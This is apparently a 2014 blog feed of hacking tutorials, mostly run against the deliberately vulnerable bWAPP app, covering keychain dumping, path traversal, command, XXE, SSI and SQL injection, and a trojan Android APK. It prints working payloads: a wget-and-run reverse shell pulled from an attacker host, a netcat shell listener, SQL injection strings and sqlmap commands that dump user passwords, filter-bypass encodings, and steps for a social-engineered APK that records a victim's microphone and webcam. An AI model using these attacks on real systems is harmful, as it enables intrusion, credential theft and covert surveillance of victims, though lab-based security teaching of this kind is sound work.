A keychain is a secure storage container that can be used to store sensitive information such as passwords, WiFi passwords and authentication tokens for different applications.The devices passcode is used to encrypt the keychain so once the device is jailbroken it is possible to read the contents of the .db file.

The steps outlined below are performed using a Jailbroken iPad (7.0.6) and a Mac.

First we need to sftp into the jailbroken iOS device. The default password is 'alpine'

Next we want to upload the keychain_dumper binary to the iOS device. We can move it to the temp folder.

We also want to make sure that it is executable, you can do this using the chomd command

Next we want to make sure that the keychain is readable, again we can use chmod

Now we can run the binary. To do this you can run the ./key_dumper command in the tmp folder

The tool dumps out all the contents of the keychain. This can include usernames and passwords used by applications and also wireless keys.

You can see usage information by using the -h switch

One of the best ways to make your keychain more secure is to use a strong passcode. As shown in an older post it is possible to brutefore a 4 digit passcode in a matter of minutes using the iPhone dataprotection tools.

Directory/Path Traversal Vulnerabilities

noreply@blogger.com (Anonymous) — Sun, 08 Jun 2014 11:08:00 +0000

Path Traversal vulnerabilities occur when an application uses user-controllable data to access files and directories on the application server. A malicious user may be able to craft input that can cause content to be read or written from the filesystem.

To demonstrate this attack we will use the deliberately vulnerable application bWAPP. If you consider the example below, the application is returning a message to the client. The file that contains the message is specified as a query string parameter e.g. message.txt.

When the server processes the request it follows these steps:

Extract the value of the filename parameter from the query string
Appends the value to the prefix say C:\bWAPP\
Opens the file with this name
Reads the file's contents and returns it to the client

Again if the attacker can place path traversal strings into the filename then they may be able to backtrack up from the directory specified in step 2 and access files anywhere on the server. The path traversal sequence is known as "dot-dot-slash".

An attacker could insert the malicious string "../../../etc/passwd" to include the password hash file of a Linux/UNIX system.

It may also be possible to return configuration files.

When trying to find path traversal vulnerabilities look for request parameters that contain the name of a file or directory e.g. include=main.inc or template=/en/sidebar. Also any application functions whose implementation is likely to retrieve data from a server filesystem such as displaying of documents or images.

Path traversal attacks have been about for some time. It is common to find applications that implement various defenses against them, often based on input validation filters. But it may be possible to bypass these filters, here are some useful tips:

Try path traversal sequences using both forward slashes and back slashes. Many input filters check for only one of these, when the filesystem may support both.

URL encoding the traversal sequences
Dot - %2e
Forward slash - %2f
Backslash - %5c

16-bit Unicode encoding
Dot - %u002e
Forward slash - %u2215
Backslash - %u2216

Double URL encoding
Dot - %252e
Forward slash - %252f
Backslash - %255c

Here is a useful cheat sheet that you can try Link

Blind OS Command Injection Attacks

noreply@blogger.com (Anonymous) — Sun, 25 May 2014 12:40:00 +0000

In this tutorial we will look at Blind OS Command Injection. OS Command Injection is described in OWASP as a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands.

Once you have identified an instance where a web application appears to be interacting with the underlying OS you should then start to probe any parameters, cookies, headers etc using meta-characters that will be interpreted by the OS.

The idea is to inject a separate command into an existing command. The & | ; meta-characters can be used to join commands. Similar to SQLi, OS Command Injection can either be error based or blind. In error based the results are outputted to the screen, it is much more obvious that the vulnerability exists. Here is an example below..

The difference with a blind injection point is that you will not return any results to the screen. In general the most reliable way to detect it is by using time-delays similar to blind SQLi.You can use the ping command as a way of invoking a time delay by causing the server to ping its loopback interface for a specific period of time.

Try submitting the commands below varying the time periods, these commands cover both Windows and Unix:

| ping -i 30 127.0.0.1 |
| ping -n 30 127.0.0.1|
& ping -i 30 127.0.0.1&
&ping -n 30 127.0.0.1&
;ping -i 30 127.0.0.1;
%0a ping -i 30 127.0.0.1 %0a
` ping 127.0.0.1

If a time-delay occurs it may be vulnerable to command injection. We can now demonstrate the exploitation of Blind OS Command Injection using bWAPP.

The environment is set up as follows:

Attackers Machine - 192.168.1.100 (Kali Linux)
Victim Machine - 192.168.1.50 (bWAPP)

The first thing to do is create a php shell with msfvenom - msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=666 -e php/base64 -f raw > /root/Desktop/bee-shell.txt

We then need to edit our file to include our php tags <?php echo ... ?>

Next we start a web server on the attacker machine to host our PHP shell. On Kali Linux open a command prompt and type...

cd /root/Desktop
python -m SimpleHTTPServer 80

Then set up a Meterpreter listener on the attacker machine. LHOST=Attacker Machine

Let's exploit the vulnerability and download our shell from the attacker's web server.

;wget http://192.168.1.100/bee-shell.txt -O /tmp/bee-shell.php;php -f /tmp/bee-shell.php

The above command will download bee-shell.txt as bee-shell.php in the /tmp directory and execute the php shell (php -f /tmp/bee-shell.php)

Now we have a reverse shell on the victims machine. Let's test it :)

XML External Enitity (XXE) Injection

noreply@blogger.com (Anonymous) — Thu, 22 May 2014 15:33:00 +0000

In this post we will look at XXE Injection, a type of XML vulnerability. The XML standard defines a concept of an external entity XML entities are additional statements that can be added into XML that can tell the parser to pull data from third parties or even from the local file system.

Below is a valid XML document. To construct it we use a DOCTYPE header and gave it a name, then within that header we embed the external entity declaration. All entities begin with a declaration - <!ENTITY, we gave it the name bWAPP and also declare it as type SYSTEM - meaning local file system. This the path to the local system file that we would like to fetch our content from.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY bWAPP SYSTEM "file:///[file]">
]>

For the demo we will be using bWAPP application.

First navigate to the XXE vulnerable page in bWAPP. In order to send the request to the server you will need to click on the 'Any bugs?' button.

To view and manipulate the request you will need an intercepting proxy tool e.g. ZaProxy or Burp Suite. After cliking the button and checking the traffic history you will see a simple XML request with two parameters <login>bee</login> and <secret>Any bugs?</secret> .

We can also see in the response that the input 'bee' is being returned in the response. We can then be hopeful that the content we request will also be returned.

To pull the contents back from the external entity we change the value in login parameter to &bWAPP; (note there is no validation here) the variable that stands for the system path. The XML parser should look up the value of the system entity variable bWAPP and substitute the entity declaration for the content of the file.

When we check the response we can see that the robots.txt contents are returned

We can also try to access a sensitive local resource such as /etc/passwd file. The steps will be the same as above only this time as we are calling a local file so we use file:///

Again we can see the file contents are returned in the response.

It is also possible to perform a DoS on the targets XML parser. The attack is known as the Billion Laughs attack or an XML bomb. There are 10 different XML entities lol - lol9 with the document consisting of a single instance of the largest entity, which expands to one billion copies of the first entity.

This exponential growth obviously consumes a lot of resources causing a DoS. More info available on this attack is available here cytinus blog

To find out more about XML and XXE attacks the following links are useful.. XML_Exteral_Entity_Attack.pdf
XML_External_Entity_(XXE)_Processing

Server-Side Includes (SSI) Injection

noreply@blogger.com (Anonymous) — Wed, 14 May 2014 12:24:00 +0000

In this post we will look at Server-Side Includes (SSI) Injection. Server-Side Includes allow developers to easily add persistent content to their pages rather than inserting common code on each page. For example if there is a logo or navigation menu on each page then it is easier to call this from a SSI. If an attacker can inject scripts into the HTML without proper escaping and the web server permits SSI then they may be able to exploit the application leading to file system and password file access. It may even be possible to execute shell commands

We will be using bWAPP to demonstrate some example attack scenarios . We can see that the page below has two input fields. The output will be your IP address when you enter your first and last name.

The first thing we want to check is how meaningful characters are rendered when returned from the server. To do this you can use any intercept proxy tool, for this demo I will use ZaProxy. To execute a successful SSI Injection attack we will need to make sure that these characters <! -- are not escaped or filtered. So we inject them into the field.

The response in ZaProxy shows us that they are being displayed in the response unchanged (haven't been encoded). This is a good sign ;).

Ok let's take it a step further and try to execute an SSI. We can try to return the time and date using this command . Again we inject straight into the field..

The web server has parsed and executed the directive to echo the time and date before serving the page back, We now know it is vulnerable to injection.

So what else can we do? We can check to see if command execution is possible. whoami will return the current user, the command loos like this

Again we can see that it has executed the SSI returns www-data (the user under which the Apache server runs.

Now that we can execute commands lets go after some sensitive information like the /etc/passwd file (this contains user account information). To do this run

Great we can see usernames, passwords, user ids etc

The last thing to show is now to spawn a remote shell using netcat. Netcat is known as the Swiss army knife of networking tools. It is able to read and write data across TCP and UDP networks. For this demo I will use Kali Linux (attacker machine) to run our netcat connection. Simply open a terminal and type the following command: nc -l -p 666

The -l tells netcat to listen for an incoming connection rather than initiating a connection to a remote host. The -p specifies the source port nc should use, we have chosen 666.

Next we want to inject our malicious SSI into the vulnerable input field. The command will be

. This allows us to connect back to our attacker machine (192.168.1.100) on port 666 and then run a /bin/bash command when connection is successful.

The /bin/bash tells netcat to serve up a bash shell from the remote machine., which will then be available on the local machine. We can then execute shell commands on the remote host such as whoami, ls or pwd, its up to you :D

Eliminating Automated XSS False Positives with xssValidator

noreply@blogger.com (Anonymous) — Tue, 06 May 2014 07:53:00 +0000

In this post I want to share a very cool BurpSuite extension called xssValidator. When you are faced with a large application to test it is impossible to check all input fields manually right?. We must rely on some kind of automation to ensure that we have covered the whole application surface. The problem with automated scanning is that it can result in a good proportion of false positives.

1. Cross-Site Scripting

One of the major vulnerabilities you will come across is Cross-Site Scripting or XSS. These type of flaws occur when an application takes untrusted data and sends it to the browser without proper validation. This could allow attackers to inject scripts into the victims browser causing web defacement, session hijacking etc. As you can imagine checking for a hundred or more XSS flaws manually is not much fun.

In order to reduce the number of false positives during automated scanning the team @ nVisium created the xssValidator extender. Along with creating the extension they also created a custom PhantomJS server. PhantomJS is a headless (no browser required) WebKit scriptable with a JavaScript API. The purpose of the server is to process and build a DOM from HTTP responses. The DOM is then used to check if the JavaScript has executed.

2. Requirements

There are three requirements for using xssValidator:

Java 7.0 or higher installed
PhantomJS
BurpSuite - Pro or Free (I used the free version and it worked fine)

3. Installing The Extension

The first thing we need to do is download the extender here. Next we need to install it in Burp:

Navigate to the extender tab at the top. Click on the add button, ensure extension type is Java and select the location of the JAR file:

When you click next you should see the screen below. If it has installed correctly there should be no errors in the output below.

4. Setting Up Our Target And BurpSuite Intruder

The next thing to do is set up Intruder and our target. For our target we will be using the bWAPP vulnerable web application. It has a number of XSS vulnerabilities, for this demo we will use the vulnerable POST page.

You need to configure your browser so that it is going through BurpSuite. You should see a request like below:

If you right click on the request a number of options will appear. Select 'Send to Intruder'. We need to configure a few options in the Intruder tab. In Payload Sets select Payload Type - Extension-generated. Then select Generator and select XSS Validator Payloads and ok.

Click the add button under Payload Processing, and select Invoke Burp Extension from the dropdown menu. Select the XSS Validator processor, and click ok.

Now under the positions tab select the payload positions by using the add button. We are focusing on the firstname and lastname parameters.

Under the options tab, browse down to the Grep – Match section, and enter the string “fy7sdufsuidfhuisdf”. This string is returned by the Burp Extender if the payload successfully triggers an XSS.

5. Installing And Starting PhantomJS Server

We also need to install the PhantomJS server. This link will take you through the steps if you are using Windows. You can try phantomjs --version to ensure it is working. Before running the Intruder attack you need to start phantomjs with the xss.js script (wherever you have placed it).

6. Start The Attack

Now we just start the Intruder attack, a pane should open and any positive results will be marked in the checkbox next to the “fy7sdufsuidfhuisdf” flag. It has returned four occurrences of XSS that have executed.

If you check the phantomjs server you should see the alerts displayed:

7. Verify The Findings

If you want to verify the XSS finding, simply right click the specific payload, and select navigate to request in browser -> original session

This is a really useful burpsuite extension that adds extra validation to automated scanning and will become even better with the increase of payloads. This post follows the steps outlined by the creator of xssValidator (John Poulin) here

Blind SQL Injection Tutorial

noreply@blogger.com (Anonymous) — Fri, 02 May 2014 14:09:00 +0000

Blind SQL injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the application response. You can find out more here, again we will be using the bWAPP application available here.

We have another search field that tells us whether a movie exists or not. For example if we enter Iron Man it will tell us the movie exists (true) on the other hand if we enter sleepers it tells us the movie does not exist (false)

The movie exists

The movie does not exist

So lets see if we can get different responses by appending some Boolean tests.

True

False

When we entered the input 1=2 we seen a different response, we knew that Iron Man was correct but obviously 1=2 is not so returns false.Lets see if we can extract some information based on the different responses.We will use the substring function to query various character positions e.g. (1,1) first character from offset 1

Iron Man' and substring(version(),1,1)=1 # - returns false

1 Returns False

Iron Man' and substring(version(),1,1)=4 # - returns false


4 Returns False

Iron Man' and substring(version(),1,1)=5 # - returns true

5 returns True

So the first character in the first offset is 5. We can pretty much guess the next character wil be a "." but lets confirm it.

Iron Man' and substring(version(),1,1)=5 # - returns true


. returns True

So we know its 5.X and so on. We can also extra things like the database length and name.

Iron Man' and length(database())=5 # - returns true

Length 5 returns true

We can enumerate the database name using the following query:

Iron Man' and substring(database(),1,1)='a' # false

First character a returns false

Iron Man' and substring(database(),1,1)='b' # true

First character is b

Iron Man' and substring(database(),2,1)='w' # true

Second character is w

Iron Man' and substring(database(),3,1)='a' # true

Third character is a

Iron Man' and substring(database(),4,1)='p' # true

Fourth character is p

Iron Man' and substring(database(),5,1)='p' # true

Fifth character is p

The database name returned is bwapp. At this point we can start to guess table names and columns. It is quite a slow method of extraction in comparison to error based but still very dangerous!

Exploiting Error Based SQL Injection in bWAPP

noreply@blogger.com (Anonymous) — Fri, 02 May 2014 10:46:00 +0000

Hi, for this demo we will be using the bWAPP extremely buggy application. It is available here bWAPP. Another useful resource when working with SQLi are the Pentest Monkey CheatSheets.

1. Understanding What's Going On

The first step in exploiting SQL injection is to figure out how the developer has coded the query. As you can see in the image we have a search page that allows us to search for a movie using a string e.g. Iron Man. The movie details are then displayed below that. We can guess that the query will be a select statement and will look roughly like this:

SELECT * FROM movieTable WHERE title LIKE '%User_Input_Here%'
SELECT * FROM movieTable WHERE title LIKE '%Iron%'

2. Breaking The Query And Understanding The Results

We have figured out what the developers code might look like. The developer probably assumes that we are going to put a string value in to search. But we are not ordinary users ;) our objective is to break the query and get some response from the database.

Let's assume that the developer has used single quotes to enclose the user input. What if we inject a single quote into the search field.

Ok so that has produced an error! So what exactly has happened here. If we look from the query perspective again it will be easier to understand

SELECT * FROM movieTable WHERE title LIKE '%Iron Man%''

The database is complaining about the extra quote so we know that that it is actually interpreting the character.

3. Fixing What We Broke

Now that we have broken it we can try and fix it. We can use comments to close off our query, in other words everything to the left of our comment will be interpreted as an SQL query. Comments for MySQL are as follows: --, #, /*, */

We can now try some true and false statements.Test is not in the results so the database will read the second part of the query.

Returning all results (true)

Returning no results (false)

4. Enumeration

Before going any further we need to visualize how many columns are used by the developer in the query. Note: We aren't talking about the columns in the database but the columns being used in the query. So let's validate it, we can use a function called order by:

If we try order by 8 we get an error

If we try order by 7 there is no error

This means that the developer is using 7 columns in the query. So let's update our query

SELECT col-1,col-2,col-3,col-4,col-5,col-6,col-7 FROM movieTable WHERE title LIKE '%User_Input_Here%;

We don't know the column names or tables yet but we are enumerating. We know that we have 7 columns so we can use a function to join queries

We cannot change this part of the query:

SELECT col-1,col-2,col-3,col-4,col-5,col-6,col-7 FROM movieTable WHERE title LIKE '%

But we can change this part:

User_Input_Here%' our injected code #

We can combine these using the UNION statement. We can use the database() to return the db name, you will have to check which columns are dumping to the screen. It looks like the second one is doing so

test' union select 1,database(),1,1,1,1,1 #

We have successfully returned the database name bWAPP. So what else can we get? Table names possibly

test' union select 1,table_name,1,1,1,1,1 from INFORMATION_SCHEMA.TABLES where table_schema=database() #

We have returned 4 tables blog,heroes,movies and users. Next will be columns from table users.

test' union select 1,column_name,1,1,1,1,1 from INFORMATION_SCHEMA.COLUMNS where table_name='users' and table_schema=database() #

We can dump the values from some of the columns now

test' union select 1,login,password,email,secret,1,1 from users #

So we have now returned the values! We can simply returned the hashed password using a password cracking tool like John The Ripper. So that's error based one point to remember is the developer could be using double quotes, brackets or brackets and quotes in the querry so it's important to try all.

Android Hacking with Armitage

noreply@blogger.com (Anonymous) — Wed, 30 Apr 2014 18:11:00 +0000

Hi,

In this post I will show you how to get a remote shell on an android device using Armitage. Armitage is a graphical cyber attack management tool for Metasploit (one of my favorite hacking tools). If you want to learn more about Metasploit and Armitage then I suggest going here and here.

So let's start the demo. I will be using Kali Linux, you can follow the install instructions provided on the link above. The first thing we need to do is create a malicious APK file. APK stands for Android application package file and is quite simply a file format used to install and distribute software on android devices. We will use this malicious APK to open a remote shell on the target device allowing the attacker to send commands to it such as turning on the webcam or microphone.

APK File Creation

Once armitage opens you should see a console screen at the bottom. To create the malicious APK we can use the metasploit msfpayload command. For the LHOST you can enter the IP address of your machine (attacker) if you dont know your IP then you can do an ifconfig. You will also need a LPORT for this demo we are using 4444. You should now see the APK on your desktop or whatever location you have chosen.

Identifying The Target

We need to identify our target this can be done by running a scan of the network or by manually adding the host by selecting Hosts > Add Hosts. For this demo I know my Android smartphone is on 192.168.1.2 so I added it manually.

Sending APK To The Target

This part is up to you. In the real world it will need some social engineering to get the victim to install the app. For this demo I just attached it an email. Before we install the program we need to setup the listener on the attackers machine.

Attacker Setup

Now that the victim has successfully installed the app the attacker needs to set up a listener on their machine. We can do this through the console similar to above but Armitage makes it even easier by using the dropdown structure in the top right. Select exploit > multi > handler and double click.

The multi/handler box should appear. You need to make two changes. The LPORT to 4444 and the payload to android/meterpreter/reverse_tcp. When this is done hit the launch button.

APK Installation

When the program is installing you will see the usual list of permissions. It will list quite quite a few as we want full control of the device. From an awareness point of view you should always check out the permissions before installing. For example if I am installing a calculator I need to ask myself why does it need to activate my webcam ;)

Once it has installed you should see an "M" logo on your device with the title MainActivity. You can take this a step further and change the logo picture and title using apktools. When you open the application you will see a button with reverse_tcp displayed on it again you can change this to make it more realistic.

When you click on this button this will create a remote session with the attackers machine.The target machine on Armitage should now turn red with a lightning effect!! At this point we can open a meterpreter prompt by right clicking on the host then selecting Meterpreter X > Interact > Meterpreter Shell

Another tab should open below with Meterpreter X as its title. We can now interact with the host. If you type "help" you will get a list of available commands. You can list the processes running or move about the various directories. At the bottom you should see record_mic and webcam options.

You can take a webcam_snap or stream. There is also capability to switch between front and back camera.

You can also turn on the microphone on for X seconds. The file will be saved in the usr/share/armitage folder as a sound.wav

record_mic -d 10 -f sound.wav -p false

So that's it, by getting a user to install a malicious application an attacker can completely control the device.Happy Hacking :)

Exploiting SQL Injection with SQLmap

noreply@blogger.com (Anonymous) — Mon, 21 Apr 2014 15:28:00 +0000

Hi, one tool I really like to use for exploiting SQLi is SQLmap. It is available here @ http://sqlmap.org/ and is also part of many distros such as Kali Linux and SamuraiWTF. It is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

To demonstrate this powerful tool we will use bWAPP, the deliberately insecure web application. You can find more information here http://www.mmeit.be/bwapp/. bWAPP has over 70 vulnerabilities that you can use to sharpen your skills without fear of going to jail :)

Before we begin the demo we must first try and understand what SQL Injection is. This type of attack occurs when an application takes untrusted data that is sent to an interpreter, in this case the database as part of a query. The attackers hostile data may then trick the interpreter into executing unintended commands. If untrusted data is used to construct SQL calls then the attacker will be able to modify the query to return data.

In order to protect against this attack developers must validate and escape the hostile data before it reaches the interpreter. This can be done using prepared statements or parametrized queries. I will go into SQLi in more detail in a later post.

So we have our vulnerable bWAPP page below. We know it is vulnerable because we have injected a single quote into the input field and it has returned a SQL error. From this we can deduce that the database is interpreting characters without proper validation.

If you look at the request below you will see that title is the vulnerable parameter, so this the one we must concentrate our attack on.

http://itsecgames.com/bWAPP/sqli_1.php?title='&action=search

The next thing to do is fire up SQLmap. For this demo I am using Kali Linux but you can run it in Windows or another distro. In Kali you can open up a terminal and simply type sqlmap. There are a lot of useful options in sqlmap you can check them out here https://github.com/sqlmapproject/sqlmap/wiki/Usage

The can now try and return some information. The command below will return all of the available database. The -u switch is the URL (note with the vulnerable title parameter), the cookie and the --dbs for enumerating the databases. I used the FireFox addon Cookie Manager to retrieve the cookie information but you can also run ZaProxy or Burp Suite to capture that information.

sqlmap -u "http://itsecgames.com/bWAPP/sqli_1.php?title=" --cookie="PHPSESSID=780b97cfb3fee59b69f7d4e0345428cd;security_level=0" --dbs

We can see above that it has returned 3 databases. We can also return the current database users by using the command below:

sqlmap -u "http://itsecgames.com/bWAPP/sqli_1.php?title=" --cookie="PHPSESSID=780b97cfb3fee59b69f7d4e0345428cd;security_level=0" --users

Ok lets return the tables in the bWAPP database.The -D switch is for database and --tables returns the tables

sqlmap -u "http://itsecgames.com/bWAPP/sqli_1.php?title=" --cookie="PHPSESSID=780b97cfb3fee59b69f7d4e0345428cd;security_level=0" -D bWAPP --tables

We can see that there are 4 tables returned, the users table looks interesting so lets go a step further and return the columns from the users table.

sqlmap -u "http://itsecgames.com/bWAPP/sqli_1.php?title=" --cookie="PHPSESSID=780b97cfb3fee59b69f7d4e0345428cd;security_level=0" -D bWAPP -T users --columns

The last step for us is to dump out the data from the columns. You can select the interesting ones or dump all.

sqlmap -u "http://itsecgames.com/bWAPP/sqli_1.php?title=" --cookie="PHPSESSID=780b97cfb3fee59b69f7d4e0345428cd;security_level=0" -D bWAPP -T users -C login,email,password,secret --dump

We can also work on cracking the password hashes offline. So there you have it, a really useful tool for speeding up the exploitation of SQL Injection vulnerabilities.